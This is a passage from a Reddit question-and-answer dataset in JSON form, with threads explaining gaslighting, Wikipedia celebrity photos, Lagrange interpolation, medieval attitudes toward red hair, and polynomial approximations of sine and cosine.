corrected her and the conversations we had about her changing the story but he seemed confused then got defensive and insisted no, it was you, I remember. Luckily our Mother was present and I asked her to weigh in. She remembered it very well. She even remembered the early attempts of my sister trying to change the story and my brother still remembering the truth. \n\n & #x200B;\n\nMy sister got angry and claimed she had simply made a mistake and remembered it wrong. She thought we were making \"too big a deal out of it\". \n\n & #x200B;\n\nI don't trust her very much any more. ", "So let's say that person A says they'll do X but actually pushes X onto other people. Other people complete X, yet whenever the subject is brought up, person A claims they did everything and even may go as far to point out that other people didn't even do anything and therefore never even cared about X. It's basically warping information in order to create a fabricated image/reality about an individual or group of people, often turning other against these individuals or groups of people while boosting the image of the person doing the gaslighting. \n\nMy mom does this shit all the time. \"Oh you said you would request time off for (event) but can't guarantee it off? Well that means that you aren't even going to try to get time off for (event) and therefore do not care about (people associated with event).\" \n\n*Takes care of kids she said she would babysit all day for literally 10 minutes and then passes them off to me or my siblings*\n\"When are the kids' dad going to be home? I've been up chasing those kids for hours! I'm exhausted!\"", "When you see your girlfriend out with another guy with your own eyes and confront her about it....And she ends up convincing you that you are paranoid and crazy and need to get counseling.", "One of my favorite examples: sitting around with my wife, and I rip an audible fart.  She always asks me, \"Did you fart?\" just to be cute every time.  One day, I said, \"No, you did,\" and kept insisting it.  We soon realized it was literal gaslighting.", "\u201cThere are four lights\u201d is actually a decent example, by the by. The Star Trek TNG episode centers around Picard being tortured, and is fed all sorts of stories about how the Enterprise is burning in space, the Federation is falling, and so on. All Picard has to do to make the pain stop is to agree with the torturer that there are five lights (there are, in fact, four). The torturer constantly TELLS HIM there are five, ridicules him for many things, and demands he say there are five lights. At the end of the episode, Picard - despite his moment of triumph and knowing he is about to be freed - still has to physically count the lights to be sure. Then he triumphantly belts \u201cTHERE. ARE. FOUR. LIGHTS!\u201d\n\nGaslighting is like that, but without the torture device and over a long period of time. Usually it\u2019s by someone that you \u201cshould\u201d trust (spouse, family member, boss, etc.). They hold some measure of power to begin with, and their goal seems to be to *undermine your faith in your own knowledge*. Even worse, they undermine your faith in your own *senses*, so that you begin to question reality itself. Do I *really* see four lights? Maybe there *are* five... it would certainly make the pain stop, and I\u2019m so tired of the pain, so afraid more is coming...", "This is super late and no one\u2019s going to see this, but I have a real life example:\n\nWhen my mom discovered I was no longer a virgin, she ignored me for 3 months before calling a meeting with me and my boyfriend at the time. She proceeded to tell me she just couldn\u2019t bear to look at me anymore. I was 17 and just devastated. \n\nYears later the relationship with my mom is in shambles and when she asked me why, I pointed to that memory as an example. She denied that this ever happened, told me I have false memories, and that I should seek psychiatric help to determine why I don\u2019t remember things accurately. \n\nShe has tried accusing me of false memories before, to the point that I did question if I was crazy or if there was something wrong with me. But I remember that day when I was 17 so strongly that after she denied it I knew for certain she was gaslighting me.\n\nI saw a psychiatrist for the first time a few weeks ago and he confirmed it, and diagnosed me with Complex PTSD from years of emotional abuse.\n", "My ex-husband is a sociopath and engaged in gaslighting. He was telling people I was an alcoholic child abuser (partly because I wasn\u2019t sleeping with him anymore and partly because he was jealous that our kids loved me and had no connection to him) so people were awfully mean to me all the time. I would ask him things like, \u201cwhy are people so mean to me?\u201d And he would claim that \u201cI was too sensitive and no one is treating me any differently than anyone else.\u201d I never believed him but there were times when I would think, that I was too sensitive and maybe it was all in my head. ", "It's usually used when someone does has done bad things to someone else but doesn't want it to be acknowledged that they did anything wrong. When you confront them about it, they might deny it or tell you you're just being overdramatic. This makes you question if maybe they're right, making you doubt your reality. \n\nTypical examples:\n\n- When someone notices evidence that their partner might be cheating on them, and the partner, who is cheating on them, tells them they're just being jealous and crazy and seeing things that aren't there.\n\n- A parent did or said something to their kid which traumatized the kid. When that kid grows up, they try to talk to that parent about it, and the parent tells them that it never happened, and how dare they be so ungrateful to make up stories like that.\n\n- In abusive relationships, abuser could have said something outrageous last week, and when the abusee brings it up, the abuser tells them it didn't happen. Doubting reality becomes a huge problem in situations like this.\n\nIt's basically just persistent denial of any wrongdoing, whether they're actually trying to hide that they did something wrong, or they did mental gymnastics to convince themselves that they never did anything wrong and actually do remember things differently. Then the gaslightee starts questioning their own reality.", "  Don\u2019t believe any of these comments.   This is NOT what gaslighting is.  \n  I\u2019m disgusted that so many people have switched what it really means into some weird \u201ctry to make someone feel crazy about their idea.\u201d\n  Gaslighting means that you work overtime (obviously) because you need the light of gas-lit lamps to allow you to continue work. \n  How DARE you try to make it seem like anything other than the honorable act of selfless work!!", "Gas lighting would be perpetuating the wage gap to force more people into rolls they are not qualified for even though numerous studies like the recent Harvard one has found that there is no wage gap", "Gaslighting doesnt exist. Why would you make up such a silly term to try to blame others when its YOUR fault youre so paranoid? Give me one example of what gaslighting even is. See? You dont even know what it is. Obviously youre deluded and need some help. Have you ever tried not making everything about you? ", "It is more akin to inception than lying. An example would be gradually shrinking someone's clothing to make them self-conscious about their weight. You aren't telling then what to believe - you're pyschologically sabotaging them so they reach the conclusion on their own.", "Manipulating facts to make a person think theyre wrong or crazy for believing something that is true. \nExample: if you were to tell me that i wore a blue shirt on my birthday and i insist that it was a pink shirt  knowing full well that it was in fact blue and to convince you  of something that is not true i invite all my friends over and buy a birthday cake and take pictures of me wearing a pink shirt and then i show you the pictures and say \u201csee! I was wearing pink! Youre totally imagining seeing me wearing blue!\u201d You begin to doubt your own memory of the events and wonder where you got the idea that my shirt was blue even though it was true and your memory of events are correct. Im gaslightling you.\n\nA good example of this is the prank in [The Office](_URL_0_) where jim convinces dwight hes asian by paying his asian actor friend to hang out at his job and then recreates his family portrait with his wife, pam, and their kids except the kids are asian in the photo and pam kisses his friend in front of dwight to convince him hes crazy. He gives his friend the password to his phone messages and tells him the details of his last sale all to convince dwight that hes losing it. \n\nYou typically find this behavior in abusive relationships. Making the person doubt their own sanity to avoid being caught cheating or something like that. They then use the other persons \u201cunreliable\u201d mental state to discredit other things. They\u2019ll say things like \u201cRemember that time you were wrong? Is it possible you\u2019re misremembering again?\u201d And the victim will say \u201ci guess\u201d because they believe their memory of events was wrong.", "You've never heard the term 'gaslighting' before, and I don't know why you're bringing it up now. And that you can't get your head around it: hell, dude, you've never ever considered gaslighting until I brought it up to you yesterday--so I don't know why you're going on and on about it, you fool.\n\n----\n\n\u2191 An example of gaslighting: of someone attempting to manipulate you by telling you your memory of facts or events are wrong.", "I spill juice on your shirt. Whenever you ask if I remember doing that, I convince you it never happened. \n\nI tell your friends it never happened, and convince them I'm worried about you 'losing your mind'. You reach out to a friend, and it's too late, they're just as worried you're crazy, and you begin to believe it's something that never happened. \n\nSource is a man who wanted his wife institutionalized, so he made the gas lights in his house flicker whenever his wife was home.(among other things) He told her she was imagining things, and she believed him, until a friend was there when it happened. In modern use, it's a frequent tactic of politicians, websites, media companies, and religious organizations. Oh, and toxic abusive assholes, ofc.", "A method that narcissists use to manipulate and confuse the people around them. It is a way of attempting to warp reality to either deliberately make someone feel crazy or to change a story to fit a narrative.\n\nExamples:\n\nAdult child of a narcissist is told to go to the store and get a certain product, let say a steak. The narc gives detailed instructions about the kind of steak they want, how thick, etc. The adult child gets the steak and brings it back and the narc says, \u201cThat isn\u2019t the steak I wanted, I wanted blah blah blah...\u201d and then they sigh and complain that you never listen and don\u2019t care and all they wanted was the blah blah blah and you can\u2019t even do that right. \n\nAn example of the second type of gaslighting is narrative gaslighting. \u201cYou had such a beautiful childhood! We loved and cared for you so much! What a lucky girl you are!\u201d\n\nActual words spoken by a neglectful drunk and a child beater.", "During my childhood, my mom would regularly accuse me of saying things I had no memory of saying. I was concerned. I kept telling her I had no memory of saying these things, and that she needed to put me in a mental hospital because I must be blacking out to say all of these things. I definitely doubted my own sanity. I'm 27 now and I still don't trust my own mind. \n\nI thought I was the only one for the longest time. A few years ago, I read a random article that used the term \"gaslighting\". I was so excited to learn that my feelings had a name. ", "Example: You and I make plans for dinner a week from now. You make reservations - you cleared your night and I...just don't show up.\n\nSo you call me and are like \"WTF? We had plans?\"\n\nbut I'm like \"We did? When did we make them? I don't think we made plans. Why are you mad? You made these plans up all in your head. #FakeNews\"\n\nGaslighting. I'm making you question your reality to make things not my fault.", "It's when someone intentionally misleads another person into thinking that they are insane. A classic example is someone leaving a plate in the sink, denying that it was them, and making you feel like you were wrong to suspect them of not washing their dishes.", "There is no such thing as what you have mentioned and you have never heard the term before. ", "Gaslighting is a manipulative attempt to try and make you question what is real and what is reality. The classic example \"Why are you hitting yourself\" as a bullying technique is an example. You aren't hitting yourself, the bully is making you hit yourself however by constantly barraging you with that question they are trying to break your will and grasp on reality.\n\nIt is also very demoralizing to be put into a situation where you are trying to defend why you aren't hitting yourself and helps shift the narrative and argument frame away from where the conversation should be taking place, namely \"why are you using my hand to hit me\".", "Thanks for this! I was also confused by the term, but kind of embarrassed to ask?", "I don't think you understand how to ask a question. You seem to have some kind of mental deficit that means you can't ask questions correctly. Don't even try.\n\nBut I love you. Don't be upset. You always get so upset over little things. It is a problem you have. The question you are trying to ask is \"What is Gas Lighting?\". We'll work on you asking questions later. \n\nGas Lighting is when someone who cares a lot about you can see that you are terrible at something and that you need them to help you with it. Usually, it is that you have some perception about them, or others, or some skill that you have, that you do not possess at all. In any case, you really need someone, like me, to do / have/ be it for you. As long as you have that, your inability to understand the world will be OK.\n\nYou need me. And all of these things you think about me and the world are just so messed up. But it is not your fault. It is just the way you are, but I can protect you and make things OK.\n\nFor example, the other day, you thought you saw me at that restaurant with that girl. That wasn't me. You get so upset and you see things some times and get confused. You need to trust me when I tell you that I can help you see things more clearly.\n\nAs another example, you are reading this thinking I am being sarcastic or possessive, but that just isn't true. The problem is you are so neurotic that you misinterpret my intentions and don't give me enough credit. Everyone else feels this way about you too. They won't tell you this because it is too embarrassing. But stick with me and I can help you.\n\nFinally, deep down you know that you just aren't very good at asking questions on ELI5. You have a tendency to ask simple, poorly stated questions. I can help you state better questions. Don't try to do that on your own. You will only embarrass yourself. I've tried to teach you, but it doesn't work. \n\nYou need me.\n\n\n\n", "It's extremely important to make a distinction between gaslighting and lying, others have already done this in this thread.\n\nI was primarily raised by a narcissistic mother and gaslighting was the primary tool in her arsenal of manipulations.  I spent the better part of 40+ years of my life, understanding at my core, that I was the one solely responsible for \"our\" shitty relationship.  I spent years questioning myself and the way I was reacting to her.\n\nIt wasn't until I was forced into a situation where I had to move me, my wife and my two youngest children into her home, that it all came to a head and I realized that I wasn't the crazy one and that she in fact, spent my entire life gaslighting me.\n\nI've since ceased all contact with her (it's been over 7 years now) and have no idea whether she's alive or dead.  But is was cathartic finding out that I spent that many years being emotionally manipulated by someone that's supposed to love and nourish you.  It explained so many things to me and helped me to realize my own behaviors throughout my life (after being emotionally and verbalized abused by her) were caused by this.", "I think people need to understand the difference between gaslighting and different perceptions.  It's not gaslighting when 2 people perceive an event differently.  ex:  If 2 people see a movie and one person says it's a lighthearted comedy and the other says the film is dark satire, neither person is gaslighting the other.   \n\nAlso not gaslighting if the person who is doing the act believes what they are saying.  ex.: a color blind person hands you a red apple and tells you it's green.  If someone believes what they're saying, they aren't gaslighting you, they are just wrong.  \n\nGaslighting implies the intent to deceive.  If you're always thinking people are gaslighting you, it might be that you are attributing motives to other people that aren't really there.  It is common that people have conflicting beliefs and viewpoints, but I think willful deception is much less common.  (In most cases, lying a-holes aren't the norm.)", "A somewhat cheeky question - but if you have a child who begins to doubt the existence of Santa and you continually tell them Santa exists, point out the half eaten cookies, the gifts with different wrapping paper, the different hand writing, perhaps other signs. Could this technically be an example of gaslighting, even if well intentioned? Or does gaslighting have to be malicious? ", "Head over to r/exmormon - every thread is examples of gaslighting. You grow up being taught one thing which turns out to be a lie; then the Mormon church change their doctrines and blame the members for not knowing the truth all along ", "Pretty much everything Trump says is gaslighting. Perfect example is the migrant caravan. Sure there were a group of 2k people heading to the border to ask for asylum. Trump switches the narrative saying they are terrorists and are going to storm the border and we have to put troops at the border bc it is such a high threat. But if you really can read you would know that tens of thousands of people cross the border on a daily basis with no issues at all. So why would an extra 2k people be a problem, well it isn't. It is just a talking point to scare Trump voters into feeling like they have to vote for him else migrants are going to come steal their jobs and rape their childrens. Trump leads by fear and gaslighting.", "There's no such thing as gaslighting OP. You made it up. Are you ok?", "There's no such thing as gaslighting. Whoever told you about it was a liar, and you must be crazy or gullible to believe them. There's no such thing as gaslighting. It's an urban legend, you'd have to be pretty foolish to believe ir. There's no such thing as gaslighting.", "TIL that _lots_ of people claiming \"gaslighting\" in heated discussions elsewhere apparently have no idea what the term means (based on the informative examples here.)\n\nGaslighting means that the offending party knowingly lies to confuse the victim, yes?\n\nI've seen bad faith participants claim gaslighting when they themselves seem to be the ones lying and attempting to manipulate factual information that can be confirmed. Are _they_ the gaslighters in that context?", "I was once gaslighted by a coworker, I didn't realize until it was too late. I delivered pizza and me and my coworker Patrick were both trying to get on the schedule for the morning shift when all the catering deliveries were. At first we were both working the AM shift but I kept failing to get to my deliveries on time due to things like lost check books and other things like plates and silverware I had to bring to my clients, turns out Patrick had been hiding things from me in an effort to discredit me and take over the AM shifts, it worked and one day I just snapped. However that allowed me to begin my freelance videography career, jokes on you Patrick ya old ass crook.", "Watch the movie Gaslight (1944). It's a great piece of film and art history, Ingrid Bergman is great (won the Oscar for best actress that year). It has plenty examples of Gaslighting, and you will be saying \"Paula, Paula, Paula.....\" in your head everytime someone says Gaslighting.", "The best example of gaslighting is what happened to Brett Kavanaugh. Tell lies about a person to their face and then when they respond negatively, you accuse them of hateful rhetoric. ", "That's funny because we were just talking about this yesterday.  I don't know why you keep forgetting about these conversations.  The same thing happened last week.", "I cant give you an exact definition but I will give you an example.  \n\n\nMy mother was driving and collided with a tree. I was about 10 at the time. So naturally I began to tell relatives \"Mom drove us into a tree by accident\" (it wasnt major but she did hit bump the fender)   \n\n\nMy mom began to tell me \"No, that never happened. What are you talking about? You probably just imagined things. I NEVER ran into a tree in my LIFE. Dont make up things like that because no one likes people who lie for attention.\"   \n\n\nThe mark on the car was evident but she told me that was from a different occasion that I wasnt there for. So little 10 year old me began to wonder. \"Whoa, did she run into the tree? I mean, I remember it. But maybe it was a lie...maybe I saw something else? Then why did I see a tree? I was sure it was a tree I told everyone...\"  \n\n\nI'm pretty sure she hit the tree once I grew up and thought more of it.", "Lol I just looked this up two days ago because of a thread on r/relationships kept mentioning it. \n\nIt pretty much when you know what is the truth or what happened but when confronting the party involved with said truth  begins to give alternatives to what you think or saw to misdirect you. In all honesty you have caught them red handed so it's a last ditch effort to see if they can make you questioned yourself.\n\nBasically if this person mattered to you enough you may give them the benefit of the doubt. But in all honesty you know what you saw and that person is scummy enough to sink so low that they are willing to manipulate the very way that you think. \n\nSo if you even have the inkling you are being galighted, especially by somebody you considered a friend. You are unfortunately being played for a fool. Yeah that person sucked and you finally got to see there true colors in a terrible way.", "Gaslighting? Never heard of that. Everyone I asked hasn't either. Are you alright? Maybe you're imagining things.", "Example: Jo ate a cookie in front of Jay. Later, when Jo says they remember how good that cookie tasted, Jay remarks that \"you never had a cookie, Jo. What are you talking about? No, I wasn't there when you had a cookie, I've been with you all day, you definitely didn't have one today. Maybe you're thinking about when you were with someone else instead of me, you're just confused, you definitely never had that cookie.\" All the while, Jay KNOWS for a FACT that Jo had that cookie. Jay is lying to Jo to make them doubt themselves. Jay does this often, so Jo will rely on Jay to keep them straight in the head. Because Jo doubts themselves a lot now, and is now so \"forgetful\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Gaslight_(1944_film)"], [], ["https://alfredmacdonald.com/2012/11/07/gaslighting-what-it-isnt/"], [], [], [], [], [], [], [], [], [], ["http://oi18.photobucket.com/albums/b149/Raka358/Beggar5.jpg"], [], [], [], [], [], [], [], [], [], [], ["https://m.youtube.com/watch?v=k-lpib-RxUY"], [], [], [], ["https://en.wikipedia.org/wiki/Gas_Light"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://m.youtube.com/watch?v=h8H_103VGrw"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2hjvgv", "title": "why don't celebrities, companies, etc. give wikipedia free high quality photos to put on their site?", "selftext": "It just seems very strange to me that Wikipedia actor pages are so devoid of quality photos. Pretty much half the actor photos are from ComicCon, are unlicensed quality celeb photos really that rare? Why doesn't Wikipedia accept better photos from an actor's publicist?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2hjvgv/eli5_why_dont_celebrities_companies_etc_give/", "answers": {"a_id": ["cktc9f0", "cktcvj0"], "score": [4, 2], "text": ["If they start accepting most likely photoshopped pics, they could start accepting edits to the details of their life. Pretty soon the article will be too biased. ", "Sending in \"official\" pics would imply that the company/person/political or other group somehow endorses what the wiki page says; this can be an issue simply because of the \"anyone can edit\" form that WP takes (which has its up side, of course). There's no way to guarantee that what is on a given page is accurate (*especially* for anything to do with politics and religion; pages about recent Presidents, in particular, have been known to have edit wars where the frequency of contradictory edits have been measured in edits *per second*), so they usually just maintain their own page on a separate site and encourage others to link to that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "e1i5b0", "title": "lagrange interpolation, why does it work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e1i5b0/eli5_lagrange_interpolation_why_does_it_work/", "answers": {"a_id": ["f8patkd", "f8pkn5c"], "score": [3, 2], "text": ["It's the math equivalent of seeing a pattern in a curve of dots and being like:\n\n\"Yeah I can kinda see which way these dots are going. Kinda in this direction.\" *proceeds to draw a vague line* (except it's relatively accurate)", "Lagrange Interpolation finds a polynomial that passes through several points.\n\nIt works by, for each point, finding a polynomial that passes through only that point and is zero for all the other several points (a relatively simple calculation). It then adds all these polynomials together.\n\nBecause each point's polynomial is zero at all other's points, adding them does not affect the results for all other's points (i.e., adding several zeros plus that point) and so only affects the curve between the points."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "62lvm2", "title": "There's a popular post on /r/TIL right now that states that in \"Medieval Times\" redheads were associated with all forms of immorality, lycanthropy/vampirism/witchcraft, etc., and that the Spanish Inquisition singled them out for persecution. How accurate and widespread were these claims?", "selftext": "I'm certain that at least some of this is true. For instance, I imagine that somewhere at some point in the Middle Ages some book warned about not trusting redheads. Just as I imagine that somewhere at some point in the Middle Ages some book warned about people with raven black hair. How true is it, though, that redheads in this period were considered generally evil and immoral, and how widespread was that belief? \n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/62lvm2/theres_a_popular_post_on_rtil_right_now_that/", "answers": {"a_id": ["dfoa1zk", "dfoefcg", "dfo2ihj", "dfo6nbb"], "score": [6, 394, 5, 214], "text": ["King Faulk of Jerusalem was described with Red Hair. This was early to middle 12th century though. Follow up question... how much did the perception of red haired people change?", "Alright, as a local aspiring medievalist, I'll throw my hat into the ring on this one. Now, I'll note, there are several excellent medievalists on this forum who may show up and do a better job than I could, but this piqued my interest, so I did a few hours of digging.\n\nSo to start broadly, it's important to note that the \"Medieval Times\" are a big place. The Middle Ages stretch from the fifth century to the fifteenth, (And the early modern period sometimes gets mixed into popular memory) and Europe, then as now, is a big place with a lot of different cultures. So, as you correctly suspect, even if we can find one example of someone distrusting redheads, there is no reason to generalize to the entire middle ages.\n\nOur second problem is one of sources. History of the middle ages was by the literate class, for the literate class. Literacy was mostly restricted to the clergy and the wealthy laity. If your question is \"What did the average person in the middle ages think about redheads\" the answer is probably that we don't know, and can't know, because the average person couldn't read, and wasn't much written about. Everything I talk about hereafter mostly draws on the thoughts and opinions of the literate, and therefore comes with their biases.\n\nHair, throughout the Middle Ages, certainly did have symbolic significance. Long hair was sometimes a symbol of nobility or high birth, and a Merovingian king offering his nephews the choice of \"The scissors or the sword,\" he was offering them the choice of giving up their position or dying. In Ireland, Mael, \"Cropped one\" was synonymous with \"Gilla,\" servant, so a cropped one of Patrick would be a way to describe one of Patrick's retinue. (Bartlett 44). \n\nWhat's important about these examples, though, is that these things are super variable. In the Norman invasion, hairstyle was seen as a sign of identity as a Saxon or a Norman, with Normans being short haired and shaved, and Saxons being long haired and bearded. (Bartlett 45) This is only a few hundred years after the Merovingians, and only a few hundred miles away. As we've noted before, that's only a small portion of the Middle Ages in duration and in distance, and yet the same thing has a completely different significance. \n\nColor, too, certainly had symbolic resonance in the Middle Ages, but we've also got to contend with the fact that Medievals thought about color differently than we do. At least in some cases, it seems that color difference had more to do with intensity and value than hue (Pulliam 4). (Basically how bright and strong the colors were, versus exactly what \"color\" they were.) So a deep, rich Scarlet might be seen as having more in common with royal purple than with a lighter red. Color has all sorts of different associations, and these will vary from place to place and time to time. Further, context is essential, and even to the same person, the same thing in a different place might mean something different. The same rough color could be the scarlet of a sinner or the purple of a sovereign's robes (Pulliam 5). \n\nAll of this long diatribe is just to say that both color and hair carried a rich array of symbolic meaning, but that those things were by no means consistent. But let's, you know, be bold and actually address your question!\n\nSo, red hair. As was pointed out during Sun's amusing answer, Judas is often portrayed with reddish hair. This certainly would have associated redheads with a whole load of bad, especially betrayal and untrustworthiness. Now you, fair readers, may be thinking \"Wait u/stormtemplar, you just spent a stupid amount of time talking about how everything was fluid and context dependent, and now you're saying it's actually true? What the hell?\" Well hold your hypothetical reader horses, the complexity ain't done yet.\n\nSo Judas definitely has red hair sometimes, but not all the time (Baum 520). Now this is widely enough known that Elizabethan playwrights used the term Judas-Colored as an insult, but that in itself presents a a problem: Elizabethan England is distinctly not Medieval, and play going audiences in England are not characteristic of people throughout the Middle ages.\n\nFurther complicating things is the existence of plenty of counter examples: Fredrick I, Holy Roman Emperor, was viewed by many as a great hero, and existed in legends as a sleeping hero, who would return to save the Empire in its time of need. (Remind you of anyone?) Why is this relevant? Because Fredrick I was known by the name Barbarossa, which means Red Beard. If red hair was solely associated with evil, that name certainly would not have gone to a great king.\n\nFurther casting doubt on the whole thing is that a lot of these sources don't actually tell us much about what people actually thought. If we find a clergyman writing about how Judas was red-haired, and redheads were untrustworthy, that tells us what a clergyman (or at best many clergymen) thought people should think, but we also know that there are plenty of times where clerical protestations fell on deaf ears. This sort of prescriptive source doesn't tell us much about what most people actually thought.\n\nIn conclusion, I doubt there was much widespread prejudice against redheads in the middle ages. In some places, red hair would be rare enough that most people wouldn't encounter it at all (Southern Italy and perhaps Spain.), or common enough that it would preclude any real discrimination. (Ireland.) For those in places where it would occur, evidence of the red hair=treachery association is spotty at best, and there are plenty of counter associations. This doesn't preclude the existence of a red=untrustworthy association, but it does mean it wasn't a simple one. My guess, given all of this, is little would filter down to the non-literate classes, and that which did would not be strong enough to engender much real feeling. Among the literate, it clearly was a mixed association at best.\n\nSources:\nBartlett, Robert. \u201cSymbolic Meanings of Hair in the Middle Ages.\u201d Transactions of the Royal Historical Society, vol. 4, 1994, pp. 43\u201360., _URL_0_.\n\nBaum, Paull Franklin. \u201cJudas's Red Hair.\u201d The Journal of English and Germanic Philology, vol. 21, no. 3, 1922, pp. 520\u2013529., _URL_1_.\n\nPulliam, Heather. \u201cCOLOR.\u201d Studies in Iconography, vol. 33, 2012, pp. 3\u201314., _URL_2_.\n\n\n", "Do you think you could link to that post?", "*Whan that Aprill with his shoures soote...*\n\n~~\n\n\"O, I walk *in medio umbrae mortis*!\" snarled Katharina, her words splintering the frozen silence of the cell. Another Katharina shoved a wax tablet in front of her face. Katharina didn't need to read it; it was the third time in that work hour alone she'd needed the reminder. \"Come on,\" she said. \"The black ink froze again, and this last illumination needs to dry in time for the messenger to take it to Paris.\" The sisters \"of St. Ursula's,\" as they called themselves, were really still just a tiny community glommed onto the men's convent of Marienthal. But if they could work those connections skillfully enough and earn a reputation for their luxurious manuscript production, maybe they could earn their own house someday, like that crazy community in Bingen am Rhein where the sisters wore white dresses and crowns.\n\nBut it was never going to happen if they had no patronage from powerful clerics and secular nobles, and patronage wasn't going to rain down from prayer alone.\n\nElisabeth pushed her wax tablet in front of Katharina. \"Does it have to be black?\" she had written in her perfect proto-Gothic, just starting to be spiky script. Katharina looked down. All she had left was hair. *It's the bad guys of the story,* she thought to herself. *It doesn't have to be realistic.* She grabbed a quill from the inkpot in front of another Elisabeth. *Red? Why not.*\n\n~~\n\nThe loud knock woke up the [cat](_URL_1_) *and* the [dog](_URL_2_), who promptly woke up Peter. \"*Quis investigavit sapientam Dei*, because you sure haven't,\" he growled. *Stop it!* he told himself. *You'll never earn secular recognition of privileges for your* [universitas](_URL_0_) *of scholars if you talk like that.* He creaked to his feet, walked over, opened the door.\n\nIt was Peter! \"Come in, come in!\" Peter said. \"Out of the cold, brother!\"\n\n\"I come bearing gifts that are *way* better than gold, frankincense, and myrrh,\" Peter said, forgetting to speak in Latin and italics when he wove biblical references into his speech. Peter decided to forgive him the way later scholars conducting source research for modern critical editions would not, because Peter was holding some very suspiciously codex-shaped packages. And books made Peter very happy. \n\n\"The sisters at Marienthal are truly displaying the splendor of the Lord to the world,\" Peter said. \"Come see this Passion cycle painting.\"\n\n\"I'll call Peter,\" Peter said, as Peter laid open one codex. As typically happened around Paris, three Peters and a Konrad barrelled in. Nothing like a new book.\n\n...*Huh*, Peter thought.\n\n\"Huh,\" Peter said. \"Judas has red hair.\"\n\n\"No,\" Peter said slowly. \"No, I get it. She must have meant the red hair to symbolize the redness of blood, as a sign of guilt for causing the Passion.\"\n\n\"Or,\" Peter said, \"maybe it goes along with the fires of hell. After all, the devil has flames for hair in iconography.\"\n\n\"Maybe it's just a way of making Judas stand out,\" Peter said. \"Christians haven't invented racialized facial features as a distinguishing feature for Jews in art yet, and those caps we draw are SO *antiqui.*\"\n\n\"Hey, you know what,\" Peter said. \"Since we use Judas as a symbol of usury, what if we just start using red hair in art to symbolize that, too?\"\n\n\"But *my* hair is red!\" Konrad said, demonstrating once again how all medieval Konrads are self-serving prigs.\n\nPeter laughed. \"This has nothing to do with actual red-haired people,\" he said. \"I asked Elisabeth of Sch\u00f6nau to see the future for me, because Ekbert makes her take requests while Hildegard is too picky. One of the greatest German emperors will even be *named for* his brilliant red beard, and the most powerful person in the world during the height of the Spanish Inquisition and the witchcraft hysteria will be a redhead!\"\n\n\"What's an inquisition?\" asked Peter.\n\n\"Why would there be hysteria over witchcraft?\" Peter asked. \"We let women possessed by demons preach their diabolical ideas until they can be safely exorcised.\"\n\nPeter shook his head, saying, \"*Dico vobis quia nemo propheta acceptus est in patria sua.* But seriously, that sister was really onto something,\" This is convenient iconography. I bet theatre troupes are going to pick up this visual shorthand and run with it. Red-haired actors will never be out of work, if they have to keep playing Judas and Herod. It will be a wigmaker's dream come time for Passion plays. We'll of course have to give these sisters the credit.\"\n\nThere was silence for a moment, and then they all burst out laughing. They all admired Hildegard, sure, but that admiration depended on her being [portrayed as the *exception*](_URL_3_). Religious women could only get credit for what they did when it benefited religious men first and foremost. When it frustrated the Church, better to tuck a text away in a single monastery and only let a bowdlerized, anonymous excerpt from it go public...or better to burn the text, and her, at the stake for the benefit and salvation of all.\n\nKonrad, of course, laughed loudest."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["www.jstor.org/stable/3679214", "www.jstor.org/stable/27702658", "www.jstor.org/stable/23924264"], [], ["https://redd.it/3n27cn", "https://redd.it/3nmfbx", "https://www.reddit.com/r/AskHistorians/comments/4g3kih/what_do_ancient_and_medieval_sources_say_about", "https://www.reddit.com/r/AskHistorians/comments/4z5kqa/how_atypical_was_hildegard_of_bingen_as_an_abbess/d6t3v0y"]]}
{"q_id": "2lb98j", "title": "Are there polynomial equations that are equal to basic trig functions?", "selftext": "Are there polynomial functions that are equal to basic trig functions (i.e: y=cos(x), y=sin(x))? If so what are they and how are they calculated? Also are there any limits on them (i.e only works when a < x < b)?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2lb98j/are_there_polynomial_equations_that_are_equal_to/", "answers": {"a_id": ["clt64q6", "clt6l64", "clt7773", "cltbhid", "cltbwo5", "cltd6w5", "cltf6u5", "cltglc7", "clthttr", "cltjmoc", "cltkg42", "cltkw7o", "cltldul", "cltmn6m", "cltnyqx", "cltwrj7"], "score": [564, 35, 107, 21, 12, 3, 5, 12, 8, 7, 3, 3, 3, 2, 7, 3], "text": ["It's possible to express these functions as Taylor series, which are sums of polynomial terms of increasing power, getting more and more accurate.\n\n(working in radians here)\n\nFor the sine function, it's sin(x)~=x-x^3 /6 + x^5 /120 - x^7 /5040... Each term is an odd power, divided by the factorial of the power, alternating positive and negative.\n\nFor cosine it's even powers instead of odd: cos(x)~=1-x^2 /2 +x^4 /24 ...\n\nWith a few terms, these are pretty accurate over the normal range that they are calculated for (0 to 360 degrees or x=0 to 2pi). However, with a finite number of terms they are never completely accurate. The smaller x is, the more accurate the series approximation is.\n\nYou can also fit a range of these functions to a polynomial of arbitrary order, which is what calculators use to calculate values efficiently (more efficient than Taylor series).", "The answer is no. No polynomial is equal to sin(x), for instance. However, the [Taylor series](_URL_0_) of the sine function \n\nP(x) = x - x^(3)/6 + x^(5)/120 + ...\n\ncan be thought of as kind of an \"infinite polynomial\", and it is exactly equal sin(x). If we take the first however many terms of this \"infinite polynomial\", we obtain a polynomial which approximates sin(x) for values \"close enough\" to 0. The more terms we take, the better the approximation is for terms close enough to 0, and the farther away from 0 the approximation works.\n\nLots of functions have Taylor series, and you learn how to construct them in a typical first year calculus class.", "No, the Taylor series is the closest thing, as others have pointed out.\n\nTo see that no polynomial (i.e. with a finite number of terms) can equal sine or cosine for all x, simply observe that both trig functions are always between -1 and 1, and that all (non-constant) polynomials are unbounded (any polynomial is dominated by its leading term x^(n), and as x goes to infinity, the polynomial must go to either positive or negative infinity).\n\nTo show that no finite polynomial can be exactly equal to sine or cosine on a restricted interval a  <  x  <  b (with a  <  b) is a little more subtle, but here's the basic idea: \n\n* Taylor series are unique^*. \n\n* Sine and 